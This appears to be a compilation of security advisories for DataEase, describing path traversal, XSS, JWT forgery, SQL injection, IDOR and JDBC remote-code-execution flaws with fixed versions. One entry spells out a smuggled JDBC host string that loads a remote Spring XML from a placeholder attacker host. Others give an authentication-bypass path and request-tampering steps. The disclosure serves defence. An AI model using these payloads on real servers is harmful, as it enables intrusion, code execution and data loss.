DataEase is an open source data visualization and analysis tool. Versions prior to 2.10.23 have a path traversal vulnerability. The root cause is that on Windows, the FILESEPARATOR is \, while the server only filters the / character during string truncation. The vulnerability has been fixed in v2.10.23. No known workarounds are available.

DataEase is an open source data visualization and analysis tool. Prior to 2.10.23, DataEase template static resources let authenticated users submit TemplateManageRequest.staticResource through POST /de2api/templateManage/save or DataVisualizationServer.decompression, after which StaticResourceServer.saveFilesToServe and StaticResourceServer.saveSingleFileToServe write Base64-decoded .svg content to /de2api/static-resource/<name>.svg without validating extension, MIME type, decoded bytes, or SVG scriptability, causing stored same-origin cross-site scripting when a victim loads the resource. This issue is fixed in version 2.10.23.

DataEase is an open source data visualization and analysis tool. Prior to 2.10.23, DataEase enterprise token handling can let TokenFilter#doFilter() pass X-DE-TOKEN values to TokenUtils.validate(), which checks only token presence and length before userBOByToken(token) uses JWT.decode() without signature verification, allowing forged tokens with chosen uid and oid values to be accepted when licenseValid=true. This issue is fixed in version 2.10.23.

DataEase is an open source data visualization and analysis tool. Prior to 2.10.23, DataEase can be exploited by uploading payload.zip through the Excel upload API /datasource/upload, creating an H2 datasource that uses the zip: protocol, and executing an SQL dataset path where CalciteProvider.jdbcFetchResultField calls statement.executeQuery(), causing precompiled Java aliases in test.mv.db to execute arbitrary code. This issue is fixed in version 2.10.23.

DataEase is an open source data visualization and analysis tool. Prior to 2.10.23, DataEase export-center deletion can accept path traversal sequences such as ../ in the bulk delete API endpoint and pass attacker-controlled identifiers to ExportCenterManage.delete, allowing recursive deletion of arbitrary server directories through export task cleanup. This issue is fixed in version 2.10.23.

DataEase is an open source data visualization and analysis tool. Prior to 2.10.23, DataEase datasource connection status checks concatenate configuration.getSchema() into getTablesSql and execute the resulting SQL with executeQuery in io.dataease.datasource.provider.CalciteProvider#checkStatus, allowing SQL injection against DB2, SQL Server, PostgreSQL, and other affected datasources. This issue is fixed in version 2.10.23.

DataEase is an open source data visualization and analysis tool. Prior to 2.10.23, DataEase Redshift datasource connections can load attacker-controlled rsjdbc.ini configuration from System.getProperty("java.io.tmpdir"), setting socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext so com.amazon.redshift.Driver#connect, com.amazon.redshift.Driver#getJdbcIniFile, and com.amazon.redshift.util.ObjectFactory#instantiate execute a reflection-based remote code execution chain during a normal JDBC connection through io.dataease.datasource.type.Redshift. This issue is fixed in version 2.10.23.

DataEase is an open source data visualization and analysis tool. Prior to 2.10.24, chart quota and Y-axis filters embed attacker-controlled filter values directly into generated SQL in Quota2SQLObj.getYWheres() without applying the SQL literal validation and escaping used by other filter paths, allowing an authenticated user who can create or modify chart definitions or submit chart data requests containing quota filters to inject SQL into queries executed against configured datasources. This issue is fixed in version 2.10.24.

DataEase is an open source data visualization and analysis tool. Prior to 2.10.24, the H2 database JDBC URL validation logic can be bypassed with special Unicode characters whose case-conversion behavior differs between DataEase validation and H2 parsing, allowing attackers to smuggle dangerous parameters such as init in malicious H2 JDBC connection strings and achieve arbitrary code execution. This issue is fixed in version 2.10.24.

DataEase is an open-source BI tool alternative to Tableau. Prior to version 2.10.8, authenticated users can complete RCE through the backend JDBC link. This issue has been patched in version 2.10.8.

DataEase is an open source business intelligence and data visualization tool. Prior to version 2.10.6, a bypass of the patch for CVE-2025-27103 allows authenticated users to read and deserialize arbitrary files through the background JDBC connection. The vulnerability has been fixed in v2.10.10. No known workarounds are available.

DataEase is an open source business intelligence and data visualization tool. A bypass of CVE-2025-46566's patch exists in versions prior to 2.10.10. In a malicious payload, getUrlType() retrieves hostName. Since the judgment statement returns false, it will not enter the if statement and will not be filtered. The payload can be directly concatenated at the replace location to construct a malicious JDBC statement. Version 2.10.10 contains a patch for the issue.

DataEase is an open source business intelligence and data visualization tool. Prior to version 2.10.10, secret verification does not take effect successfully, so a user can use any secret to forge a JWT token. The vulnerability has been fixed in v2.10.10. No known workarounds are available.

DataEase is an open source business intelligence and data visualization tool. Versions prior to version 2.10.10 have a flaw in the patch for CVE-2025-32966 that allow the patch to be bypassed through case insensitivity because INIT and RUNSCRIPT are prohibited. The vulnerability has been fixed in v2.10.10. No known workarounds are available.

DataEase is an open-source BI tool alternative to Tableau. Prior to version 2.10.9, authenticated users can complete RCE through the backend JDBC link. This issue has been patched in version 2.10.9.

Dataease is an open source data visualization analysis tool. Dataease prior to 1.15.2 has a deserialization vulnerability. In Dataease, the Mysql data source in the data source function can customize the JDBC connection parameters and the Mysql server target to be connected. In backend/src/main/java/io/dataease/provider/datasource/JdbcProvider.java, the MysqlConfiguration class does not filter any parameters. If an attacker adds some parameters to a JDBC url and connects to a malicious mysql server, the attacker can trigger the mysql jdbc deserialization vulnerability. Through the deserialization vulnerability, the attacker can execute system commands and obtain server privileges. Version 1.15.2 contains a patch for this issue.

An issue in DataEase v1 allows an attacker to execute arbitrary code via the user account and password components.

DataEase is an open source business intelligence and data visualization tool. Prior to version 2.10.6, authenticated users can read and deserialize arbitrary files through the background JDBC connection. The vulnerability has been fixed in v2.10.6. No known workarounds are available.

SQL Injection vulnerability in dataease before 1.2.0, allows attackers to gain sensitive information via the orders parameter to /api/sysmsg/list/1/10.

DataEase is an open source data visualization and analysis tool. When saving a dashboard on the DataEase platform saved data can be modified and store malicious code. This vulnerability can lead to the execution of malicious code stored by the attacker on the server side when the user accesses the dashboard. The vulnerability has been fixed in version 1.18.3.

DataEase is an open source data visualization analysis tool. Prior to 2.10.4, there is a flaw in the authentication in the io.dataease.auth.filter.TokenFilter class, which can be bypassed and cause the risk of unauthorized access. In the io.dataease.auth.filter.TokenFilter class, ”request.getRequestURI“ is used to obtain the request URL, and it is passed to the "WhitelistUtils.match" method to determine whether the URL request is an interface that does not require authentication. The "match" method filters semicolons, but this is not enough. When users set "server.servlet.context-path" when deploying products, there is still a risk of being bypassed, which can be bypassed by any whitelist prefix /geo/../context-path/. The vulnerability has been fixed in v2.10.4.

DataEase is an open source business analytics tool. Authenticated users can read and deserialize arbitrary files through the background JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. This vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.

DataEase is an open source business analytics tool. Authenticated users can remotely execute code through the backend JDBC connection. When constructing the jdbc connection string, the parameters are not filtered. Constructing the host as ip:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://ip:5432/1.xml&a= can trigger the ClassPathXmlApplicationContext construction method. The vulnerability has been fixed in v1.18.27. Users are advised to upgrade. There are no known workarounds for this vulnerability.

DataEase is an open source data visualization analysis tool. Prior to 2.10.2, DataEase allows attackers to forge jwt and take over services. The JWT secret is hardcoded in the code, and the UID and OID are hardcoded. The vulnerability has been fixed in v2.10.2.

DataEase is an open source data visualization analysis tool that helps users quickly analyze data and gain insights into business trends. In affected versions a the lack of signature verification of jwt tokens allows attackers to forge jwts which then allow access to any interface. The vulnerability has been fixed in v2.10.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

DataEase is an open source data visualization analysis tool. In Dataease users are normally allowed to modify data and the data sources are expected to properly sanitize data. The AWS redshift data source does not provide data sanitization which may lead to remote code execution. This vulnerability has been fixed in v1.18.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.

DataEase, an open source data visualization and analysis tool, has a database configuration information exposure vulnerability prior to version 2.5.0. Visiting the /de2api/engine/getEngine;.js path via a browser reveals that the platform's database configuration is returned. The vulnerability has been fixed in v2.5.0. No known workarounds are available aside from upgrading.

DataEase is an open source data visualization analysis tool. Due to the lack of restrictions on the connection parameters for the ClickHouse data source, it is possible to exploit certain malicious parameters to achieve arbitrary file reading. The vulnerability has been fixed in v1.18.19.

Impact The api interface for DataEase delete dashboard and delete system messages is vulnerable to IDOR.

The interface to delete the dashboard: 1. Create two users: user1 and user2 2. User1 creates a dashboard named pan1 3. User2 creates a dashboard named pan2 4. Both user1 and user2 share their dashboards with the demo user 5. User1 wants to delete his dashboard. We hijack the request with burpsuite. The request will probably look like this: POST /api/share/removePanelShares/440efa7f-efd8-11ed-bec7-1144724bc08c HTTP/1.1. 440efa7f-efd8-11ed-bec7-1144724bc08c is the ID of pan1 6. We replace this ID with the ID of pan2 and continue the execution (i.e. we delete the shares of others) 7. Successfully remove the shared link !image

The interface to delete system messages: 1. Our request to delete a message is shown below !image 2. We can delete all messages by simply enumerating the message ID, regardless of whether the message belongs to the requester or not. 3. The interface for marking read messages is also affected

Affected versions: <= 1.18.6

Patches The vulnerability has been fixed in v1.18.7.

Workarounds It is recommended to upgrade the version to v1.18.7.

References If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com

Dataease is an open source data visualization analysis tool. A deserialization vulnerability exists in the DataEase datasource, which can be exploited to execute arbitrary code. The location of the vulnerability code is core/core-backend/src/main/java/io/dataease/datasource/type/Mysql.java. The blacklist of mysql jdbc attacks can be bypassed and attackers can further exploit it for deserialized execution or reading arbitrary files. This vulnerability is patched in 1.18.15 and 2.3.0.